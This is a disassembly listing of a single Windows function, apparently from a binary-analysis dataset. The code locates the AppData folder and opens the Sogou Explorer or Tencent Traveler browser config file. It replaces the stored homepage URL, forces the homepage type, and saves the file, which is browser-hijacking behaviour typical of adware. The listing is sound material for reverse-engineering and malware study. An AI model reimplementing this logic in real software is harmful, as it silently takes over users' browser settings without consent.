Function at 0x401770
Capabilities:
Print debug messages
Query or enumerate registry value
Read file on windows
Write file on windows

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x402cc6
push eax
mov eax, 0x5048
mov dword fs:[0], esp
call fcn.004029b0
push ebx
push ebp
push esi
lea eax, [esp + 0x1c]
push edi
push eax
xor ebp, ebp
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
push 0x80000001
mov dword [esp + 0x2c], ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp + 0x20]
cmp edx, ebp
je 0x401afc
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x30]
mov dword [esp + 0x28], 0x208
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x28]
lea eax, [esp + 0x30]
push ecx
lea ecx, [esp + 0x30]
push eax
push ecx
push ebp
push str.AppData
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [esp + 0x30]
push edx
call fcn.004015c0
mov ebx, dword [esp + 0x506c]
add esp, 4
cmp ebx, ebp
lea edx, [esp + 0x30]
mov edi, str._sogouexplorerconfig.xml
je 0x401811
mov edi, str._tencent_tencenttraveler100_ttconf.dat
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x30]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call edi
lea ecx, [esp + 0x30]
push ebp
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
je 0x401afc
push ebp
push ebp
push 3
push ebp
push 3
lea edx, [esp + 0x44]
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x1c], esi
je 0x401afc
push str.Open_file_succ
call edi
mov ecx, 0x9c4
xor eax, eax
lea edi, [esp + 0x2948]
push ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x28]
lea ecx, [esp + 0x294c]
push eax
push 0x2710
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea edx, [esp + 0x2948]
lea ecx, [esp + 0x10]
push edx
call fcn.004028fe
lea ecx, [esp + 0x10]
mov dword [esp + 0x5060], ebp
call sub.MFC42.DLL_CString::MakeLower
cmp ebx, ebp
jne 0x4018ee
push str.homepage
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
mov ebp, eax
mov ebx, 9
jmp 0x401903
push str.strHomePageUrl
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
mov ebp, eax
mov ebx, 0xf
cmp ebp, 0xffffffff
je 0x401ae1
push str.Find_home_pos
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebx + ebp]
lea ecx, [esp + 0x18]
lea eax, [esp + eax + 0x2948]
push eax
push ecx
call fcn.004014f0
add esp, 8
push str.homepagetype
lea ecx, [esp + 0x14]
mov byte [esp + 0x5064], 1
call sub.MFC42.DLL_CString::Find
cmp eax, 0xffffffff
je 0x401952
mov byte [esp + eax + 0x2956], 0x33
mov eax, dword [esp + 0x5068]
mov ecx, 0x9c4
lea esi, [esp + 0x2948]
lea edi, [esp + 0x238]
test eax, eax
rep movsd dword es:[edi], dword [esi]
jne 0x401a11
mov edx, dword [esp + 0x506c]
lea eax, [ebx + ebp]
or ecx, 0xffffffff
mov edi, edx
mov byte [esp + eax + 0x238], 0x22
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea eax, [ebx + ebp]
dec ecx
mov esi, edx
lea edi, [esp + eax + 0x239]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, edx
add ecx, ebx
mov esi, 0x2326
add ecx, ebp
sub esi, ebx
sub esi, ebp
mov byte [esp + ecx + 0x239], 0x22
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x18]
not ecx
dec ecx
sub esi, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x14], esi
add ecx, ebx
mov edi, edx
add ecx, ebp
lea esi, [esp + ecx + 0x2948]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, ebx
add ecx, ebp
lea edi, [esp + ecx + 0x23a]
mov ecx, dword [esp + 0x14]
jmp 0x401a89
mov edx, dword [esp + 0x506c]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea eax, [ebx + ebp]
dec ecx
mov esi, edx
lea edi, [esp + eax + 0x238]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x18]
mov esi, 0x2326
not ecx
sub esi, ebx
dec ecx
sub esi, ebp
sub esi, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x14], esi
add ecx, ebx
mov edi, edx
add ecx, ebp
lea esi, [esp + ecx + 0x2948]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
add ecx, ebx
add ecx, ebp
lea edi, [esp + ecx + 0x238]
mov ecx, dword [esp + 0x14]
mov edx, ecx
push 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x28]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x24]
push 0
push eax
lea edi, [esp + 0x240]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x244]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [esp + 0x18]
mov byte [esp + 0x5060], 0
call fcn.004027fc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
mov dword [esp + 0x5060], 0xffffffff
call fcn.004027fc
mov ecx, dword [esp + 0x5058]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x5054
ret